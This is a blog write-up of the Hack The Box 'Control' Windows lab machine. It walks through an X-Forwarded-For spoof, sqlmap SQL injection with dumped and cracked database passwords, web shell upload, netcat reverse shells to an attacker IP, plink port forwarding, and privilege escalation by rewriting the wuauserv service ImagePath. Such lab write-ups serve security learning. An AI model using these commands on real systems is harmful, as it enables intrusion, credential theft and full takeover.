Hackthebox Control writeup

2 months ago on Hackthebox , active

Control

OS:	Windows
Difficulty:	Hard
Points:	40
Release:	23 Nov 2019
IP:	10.10.10.167

information

Control is 40 points hard machine.Based on Windows os

Summary

- Viewing at source we got an ip
- Accessing admin panel by using X-Forwarded-For: header
- sqli in search_product.php
- upload file using sqlmap and get reverse shell
- abusing the service wuauserv by adding registry with image path of the netcat

Nmap

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-14 13:55 WIT
Stats: 0:00:19 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 23.25% done; ETC: 13:56 (0:00:56 remaining)
Stats: 0:00:57 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 86.00% done; ETC: 13:56 (0:00:09 remaining)
Nmap scan report for control.htb (10.10.10.167)
Host is up (0.38s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Fidelity
135/tcp  open  msrpc   Microsoft Windows RPC
3306/tcp open  mysql?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, Kerberos, LPDString, NCP, NotesRPC, RPCCheck,
RTSPRequest, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, oracle-tns:
|_    Host '10.10.14.204' is not allowed to connect to this MariaDB server
1 service unrecognized despite returning data. If you know the service/version, please submit the following
fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=2/14%Time=5E4628A3%P=x86_64-pc-linux-gnu%r(RT
SF:SPRequest,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204'\x20is\x20not\
SF:x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RPCC
SF:heck,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204'\x20is\x20not\x20al
SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSVersio
SF:nBindReqTCP,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204'\x20is\x20no
SF:t\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DN
SF:SStatusRequestTCP,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204'\x20is
SF:\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server"
SF:)%r(TerminalServerCookie,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204
SF:'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20
SF:server")%r(TLSSessionReq,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204
SF:'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20
SF:server")%r(Kerberos,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204'\x20
SF:is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20serve
SF:r")%r(X11Probe,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204'\x20is\x2
SF:0not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r
SF:(FourOhFourRequest,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204'\x20i
SF:s\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server
SF:")%r(LPDString,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204'\x20is\x2
SF:0not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r
SF:(TerminalServer,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204'\x20is\x
SF:20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%
SF:r(NCP,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(NotesRPC
SF:,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(WMSRequest,4B
SF:,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204'\x20is\x20not\x20allowed\x
SF:20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(oracle-tns,4B,"G
SF:\0\0\x01\xffj\x04Host\x20'10\.10\.14\.204'\x20is\x20not\x20allowed\x20t
SF:o\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 121.09 seconds
```

Three ports `80 http` `135 msrpc` `3306 mysql`

port 80

There is a admin panel tab too but showing access denied and telling to use proxy

Viewing at the source code it has some interesting text in it

An ip which is for to enable ssl certificate

So, The ip we got, is maybe a valid ip that is allowed for accessing admin.php And i tried the same

i used burp-suite for interception proxy

And i got the admin panel

this was my request

```
GET /admin.php HTTP/1.1
Host: control.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://control.htb/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
x-forwarded-for: 192.168.4.28
```

sqli

after putting a ‘ in the find products i confirmed the sqli

i used sqlmap for the sqli saved the http request in `request.txt` and ran sqlmap

```
$sqlmap --all  -r request.txt --batch
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.3.11#stable}
|_ -| . [)]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user
obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misus
this program

[*] starting @ 04:01:07 /2020-02-28/

[04:01:07] [INFO] parsing HTTP request from 'request.txt'
[04:01:07] [INFO] resuming back-end DBMS 'mysql'
[04:01:07] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: productName (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: productName=-1110' OR 7457=7457#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: productName=1' AND (SELECT 7362 FROM(SELECT COUNT(*),CONCAT(0x71627a7871,(SELECT
(ELT(7362=7362,1))),0x7170627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- QaIn

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: productName=1';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: productName=1' AND (SELECT 1282 FROM (SELECT(SLEEP(5)))SjAs)-- zlek

    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: productName=1' UNION ALL SELECT
NULL,CONCAT(0x71627a7871,0x636c6378616c4145546b6e6170666e67756e4671737148625555747786d7065655a637a77504c7347,0x717062717
---
[04:01:08] [INFO] the back-end DBMS is MySQL
[04:01:08] [INFO] fetching banner
web server operating system: Windows 10 or 2016
web application technology: Microsoft IIS 10.0, PHP 7.3.7
back-end DBMS: MySQL >= 5.0
banner: '10.4.8-MariaDB'
[04:01:08] [INFO] fetching current user
current user: 'manager@localhost'
[04:01:08] [INFO] fetching current database
current database: 'warehouse'
[04:01:08] [INFO] fetching server hostname
hostname: 'Fidelity'
[04:01:08] [INFO] testing if current user is DBA
[04:01:08] [INFO] fetching current user
current user is DBA: False
[04:01:08] [INFO] fetching database users
database management system users [6]:
[*] 'hector'@'localhost'
[*] 'manager'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'fidelity'
[*] 'root'@'localhost'

[04:01:08] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y
[04:01:08] [INFO] using hash method 'mysql_passwd'
[04:01:08] [INFO] resuming password 'l3tm3!n' for hash '*cfe3eee434b38cbf709ad67a4dcdea476cba7fda' for user 'manager'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[04:01:08] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[04:01:08] [INFO] starting dictionary-based cracking (mysql_passwd)
[04:01:08] [INFO] starting 4 processes
database management system users password hashes:
[*] hector [1]:
    password hash: *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
[*] manager [1]:
    password hash: *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
    clear-text password: l3tm3!n
[*] root [1]:
    password hash: *0A4A5CAD344718DC418035A1F4D292BA603134D8
```

Got a password of the manager user

then i tried to upload a php file from inidishell [mannu.php]()

And uploaded it with sqlmap

```
$sqlmap -r request.txt --file-write=/home/prashant/Desktop/munna.php --file-dest=C:/inetpub/wwwroot/munna.php
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.3.11#stable}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user
obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misus
this program

[*] starting @ 01:21:59 /2020-02-28/

[01:21:59] [INFO] parsing HTTP request from 'request.txt'
[01:22:01] [INFO] resuming back-end DBMS 'mysql'
[01:22:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: productName (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: productName=-1110' OR 7457=7457#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: productName=1' AND (SELECT 7362 FROM(SELECT COUNT(*),CONCAT(0x71627a7871,(SELECT
(ELT(7362=7362,1))),0x7170627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- QaIn

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: productName=1';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: productName=1' AND (SELECT 1282 FROM (SELECT(SLEEP(5)))SjAs)-- zlek

    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: productName=1' UNION ALL SELECT
NULL,CONCAT(0x71627a7871,0x636c6378616c4145546b6e6170666e67756e467173714862555747786d7065655a637a77504c7347,0x717062717
---
[01:22:02] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 10 or 2016
web application technology: Microsoft IIS 10.0, PHP 7.3.7
back-end DBMS: MySQL >= 5.0
[01:22:02] [INFO] fingerprinting the back-end DBMS operating system
[01:22:02] [INFO] the back-end DBMS operating system is Windows
[01:22:05] [WARNING] potential permission problems detected ('Access denied')
[01:22:54] [WARNING] time-based comparison requires larger statistical model, please wait.............................
do you want confirmation that the local file '/home/prashant/Desktop/munna.php' has been successfully written on the ba
('C:/inetpub/wwwroot/munna.php')? [Y/n] y
[01:25:23] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[01:25:23] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the request(s)
[01:25:24] [INFO] the local file '/home/prashant/Desktop/munna.php' and the remote file 'C:/inetpub/wwwroot/munna.php'
(13191 B)
[01:25:25] [INFO] fetched data logged to text files under '/root/.sqlmap/output/control.htb'
[01:25:25] [WARNING] you haven't updated sqlmap for more than 117 days!!!
```

And the file get uploaded successfully

Now i access it with `control.htb/munna.php`

So, i need to get a powershell shell

i transfered the nc.exe to the machine using the upload file feature in `mannu.php`

And next step is to get the shell with nc.exe with the cmd exct feature in mannu.php

```
.\nc.exe -e powershell.exe 10.10.15.6 1234
```

And i got shell

```
┌─[root@parrot]─[/home/prashant/Desktop]
└──╼ #nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.15.6] from (UNKNOWN) [10.10.10.167] 55119
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\tmp> whoami
whoami
nt authority\iusr
```

there is one User `Hector` and i rememberd the hash of hector we got from the sqlmap So , I decided to decrypt it with john

```
┌─[root@parrot]─[/home/prashant]
└──╼ #john hash.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 128/128 XOP 4x2])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
l33th4x0rhector  (hector)
1g 0:00:00:02 DONE (2020-02-28 06:37) 0.4901g/s 3138Kp/s 3138Kc/s 3138KC/s l33thax0r..l33th4ck3r
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

And we got the password,Since the winrm port was not opened so we cant use evil-winrm

But when i checked for internal ports , the port `5985 winrm port` running locally

```
PS C:\tmp> netstat -ano
netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       828
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       1860
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4

```

So it will be better if i forward the winrm port to my machine and use evil-winrm to login as hector I used plink.exe for this

Uploaded it to machine,and started ssh service of my machine

And execute it with the following

```
PS C:\tmp> .\plink.exe -l prashant -pw 123456 -R 5985:127.0.0.1:5985 10.10.15.6
.\plink.exe -l prashant -pw 123456 -R 5985:127.0.0.1:5985 10.10.15.6
.\plink.exe : The server's host key is not cached in the registry. You
At line:1 char:1
+ .\plink.exe -l prashant -pw 123456 -R 5985:127.0.0.1:5985 10.10.15.6
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (The server's ho...e registry. You:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

have no guarantee that the server is the computer you
think it is.
The server's rsa2 key fingerprint is:
ssh-rsa 2048 05:42:28:0a:c1:3a:97:f9:6a:bf:f9:4a:16:50:0e:d1
If you trust this host, enter "y" to add the key to
PuTTY's cache and carry on connecting.
If you want to carry on connecting just once, without
adding the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
connection.
Store key in cache? (y/n)
y
Linux parrot 5.3.0-1parrot1-amd64 #1 SMP Parrot 5.3.7-1parrot1 (2019-11-04) x86_64
 ____                      _     ____
|  _ \ __ _ _ __ _ __ ___ | |_  / ___|  ___  ___
| |_) / _` | '__| '__/ _ \| __| \___ \ / _ \/ __|
|  __/ (_| | |  | | | (_) | |_   ___) |  __/ (__
|_|   \__,_|_|  |_|  \___/ \__| |____/ \___|\___|




The programs included with the Parrot GNU/Linux are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Parrot GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 28 02:42:39 2020 from 10.10.10.167

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|H|E|L|L|O|_|P|R|A|S|H|A|N|T|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
┌─[root@parrot]─[/home/prashant]
```

And now it forwarded the winrm port to my machine I can use evil-winrm now to login as hector

```
$ evil-winrm -i 127.0.0.1 -u Hector -p l33th4x0rhector

Evil-WinRM shell v2.0

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Hector\Documents>
```

user.txt

```
*Evil-WinRM* PS C:\Users\Hector\Documents> cat ../Desktop/user.txt
d8782dd01fb15b72c4b5ba77ef2d472b
*Evil-WinRM* PS C:\Users\Hector\Documents>
```

Privilige escalation

```
*Evil-WinRM* PS C:\Users\Hector\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

So, after enumerating very much i figured it out that i can abuse service `wuauserv` to get root (got a hint) I need to use `reg add` to add the image path of nc.exe to run the nc.exe as admin and get the shell

I can use `reg add` for this

```
*Evil-WinRM* PS C:\Users\Hector\Documents> reg add "HKLM\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "C:\tmp\nc.exe -e powershell 10.10.15.6 4444" /f
The operation completed successfully.

*Evil-WinRM* PS C:\Users\Hector\Documents> Start-Service wuauserv
```

And i got the reverse shell as admin

```
┌─[root@parrot]─[/home/prashant]
└──╼ #nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.15.6] from (UNKNOWN) [10.10.10.167] 50508
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>
```

```
PS C:\Windows\system32>cat /Users/Administrator/Desktop/root.txt
8f8613----------------------ec1b1
```

Thanks for reading a single feedback will be appreciated !!!

Subscribe to our NEWSLETTER

Updated 1 month ago

x-forward-for sqli wuauserv abusing registry add

Share:

OLDER
Hackthebox Traverxec writeup

NEWER
Hackthebox Sniper writeup

Comments powered by Disqus.

Further Reading

2 months ago
Hackthebox Resolute writeup

2 months ago
Hackthebox Traverxec writeup

1 month ago
Hackthebox Sniper writeup

information Resolute is 30 points medium level machine.Running on Windows os.…

information Traverxec is an easy 20 points machine and its a linux os based machine.…

information name : sniper Difficulty: medium points : 30 OS : Windows Out-on : 5 Oct 2019…

0xPrashant Guru
Rank: 189 958 57
hackthebox.eu